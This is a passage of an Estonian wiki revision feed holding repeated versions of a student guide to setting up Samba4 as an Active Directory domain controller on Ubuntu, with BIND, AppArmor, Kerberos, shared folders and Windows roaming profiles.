Tuleb meeles pidada, et roaming profile&#039;s tuleb domeenis sisse logida sama Windows-versiooni masinaga. Erinevate Windowsite alt sisse logides samas domeenis genereeritakse Profiles kausta topelt kasutaja kaust nign see pole esimese loodud kasutaja kaustaga ühenduses.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi klientmasinas, kuhu on installeeritud kaughalduse programm administreerimaks domeeni serverit, tuleb avada Start -&amp;gt; Run -&amp;gt; dsa.msc &amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step1.png|thumb|none|427px|dsa.msc]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avanenud aknas minna vastavate kasutajate juurde, avada parema klõpsuga Properties ja Profile sektsiooni ning lisada Profile Path: //192.168.56.200/profiles/%USERNAME%&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step2.png|thumb|none|551px|Profile path]]&lt;br /&gt;
&lt;br /&gt;
ning muudatused ära salvestada. Seejärel tuleks käivitada Start -&amp;gt; Run&#039;is käsk &amp;quot;gpudate /force&amp;quot;, mis sunnib uuendama Group Policy&#039;t.&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step3.png|thumb|none|427px|gpupdate]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Peale seda vastava kasutajaga uuesti sisse sisselogides tehakse Profiles kausta vastava kasutajanimega kaust.&lt;br /&gt;
Näide serverist vaadatuna:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
 # cd /var/data/profiles&lt;br /&gt;
 # ls -l&lt;br /&gt;
 drwxr-xr-x 12 3000012 users   4096 Aug  2 15:35 test&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasutatud kirjandus=&lt;br /&gt;
* https://wiki.itcollege.ee/index.php/Samba4_installeerimine&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60465</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60465"/>
		<updated>2013-01-08T07:06:50Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Tehtud kaustade väljajagamine ja õiguste määramised */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kaasame Samba4 poolt loodud konfiratsiooni Bind9 seadetesse&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis peab tegema erandid Apparmorisse.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisada lõppu ennem viimast } märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/* rw,&lt;br /&gt;
/var/lib/samba/private/dns/* rw,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Nimeserverid paika==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Näiteks on meil nimeserveri aadress 192.168.56.200. (tuleb lisada teistest nimekirjas olevatest nimeserveritest ettepoole, muidu pole asjast kasu ja ei võta Bind9&#039;st vastuseid)&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja ka seda kontrollida, et kas töötab korralikult ja kas seadistused said õigesti. &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Kontroll==&lt;br /&gt;
Kontrollime, kas Samba4 töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L SAMBA.PIIX.EE -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund peaks olema midagi sarnast ehk näitab väljajagatud failide/kausta/printerite nimekirjasid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks võiks käivitada järgneva käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //SAMBA.PIIX.EE/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljundiks peaks tulema netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli ehk praegusel juhul on Student1 selleks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Edukal töötamisel ta mingit väljundit ei anna.&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos annab välja ka pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
klist&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemus peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&lt;br /&gt;
Valid starting     Expires            Service principal&lt;br /&gt;
01/07/13 23:51:12  01/08/13 09:51:12  krbtgt/SAMBA.PIIX.EE@SAMBA.PIIX.EE&lt;br /&gt;
	renew until 01/08/13 23:51:09&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;. &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool newuser share&lt;br /&gt;
samba-tool newuser opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Tehtud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsiooni faili smb.conf &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/samba.smb.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisame lõppu juurde järgmised read&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[share]&lt;br /&gt;
        path = /var/data/share&lt;br /&gt;
        comment = üldine jagatud ketas&lt;br /&gt;
        read only = No&lt;br /&gt;
&lt;br /&gt;
[profiles]&lt;br /&gt;
        path = /var/data/profiles&lt;br /&gt;
        comment = opilaste jagatud ketas&lt;br /&gt;
        read only = no&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Nüüd teeme Samba4-le väikese restardi ja kaustad peaksid olema seejärel väljajagatud.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Samba4&#039;s enam ei saa smb.conf&#039;i faili kaudu kaustadele õigusi lisada ja siis saab Active Directory kaudu läbi Windowsi masina Administraatori kontoga teha &amp;quot;profiles&amp;quot; kaustade alla igale kasutajale oma kausta ehk &amp;quot;roaming profile&amp;quot;-i.&amp;lt;br&amp;gt;&lt;br /&gt;
Tuleb meeles pidada, et roaming profile juures peab domeenis sisselogima sama Windowsi versiooniga masinaga. Erinevate Windowsite alt sisselogides samas domeenis genereeritakse Profiles kausta topelt kasutaja kaust ja see pole esimese loodud kasutaja kaustaga ühenduses.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi klientmasinas, kuhu on installeeritud kaughalduse programm administreerimaks domeeni serverit, tuleb võtta lahti Start-&amp;gt;Run-&amp;gt; dsa.msc&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step1.png|thumb|dsa.msc]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Avanenud aknas minna vastavate kasutajate juurde, võtta lahti parem klõpsuga nende Properties ja Profile sektsiooni lisada Profile Path: //192.168.56.200/profiles/%USERNAME%&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step2.png|thumb|Profile path]]&lt;br /&gt;
ja muudatused ära salvestada ning käivitada Start-&amp;gt;Run &#039;is käsk &amp;quot;gpudate /force&amp;quot;, mis sunnib uuendama Group Policy&#039;t.&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step3.png|thumb|gpupdate]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Peale seda korraks väljalogides ja vastava kasutajaga sisselogides tehakse Profiles kausta vastava kasutajanimega kaust.&lt;br /&gt;
Näide serverist vaadatuna:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
 # cd /var/data/profiles&lt;br /&gt;
 # ls -l&lt;br /&gt;
 drwxr-xr-x 12 3000012 users   4096 Aug  2 15:35 test&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Step3.png&amp;diff=60464</id>
		<title>File:Step3.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Step3.png&amp;diff=60464"/>
		<updated>2013-01-08T07:06:24Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Step2.png&amp;diff=60463</id>
		<title>File:Step2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Step2.png&amp;diff=60463"/>
		<updated>2013-01-08T07:05:37Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Step1.png&amp;diff=60461</id>
		<title>File:Step1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Step1.png&amp;diff=60461"/>
		<updated>2013-01-08T07:03:56Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60459</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60459"/>
		<updated>2013-01-08T06:58:50Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Tehtud kaustade väljajagamine ja õiguste määramised */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kaasame Samba4 poolt loodud konfiratsiooni Bind9 seadetesse&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis peab tegema erandid Apparmorisse.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisada lõppu ennem viimast } märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/* rw,&lt;br /&gt;
/var/lib/samba/private/dns/* rw,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Nimeserverid paika==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Näiteks on meil nimeserveri aadress 192.168.56.200. (tuleb lisada teistest nimekirjas olevatest nimeserveritest ettepoole, muidu pole asjast kasu ja ei võta Bind9&#039;st vastuseid)&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja ka seda kontrollida, et kas töötab korralikult ja kas seadistused said õigesti. &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
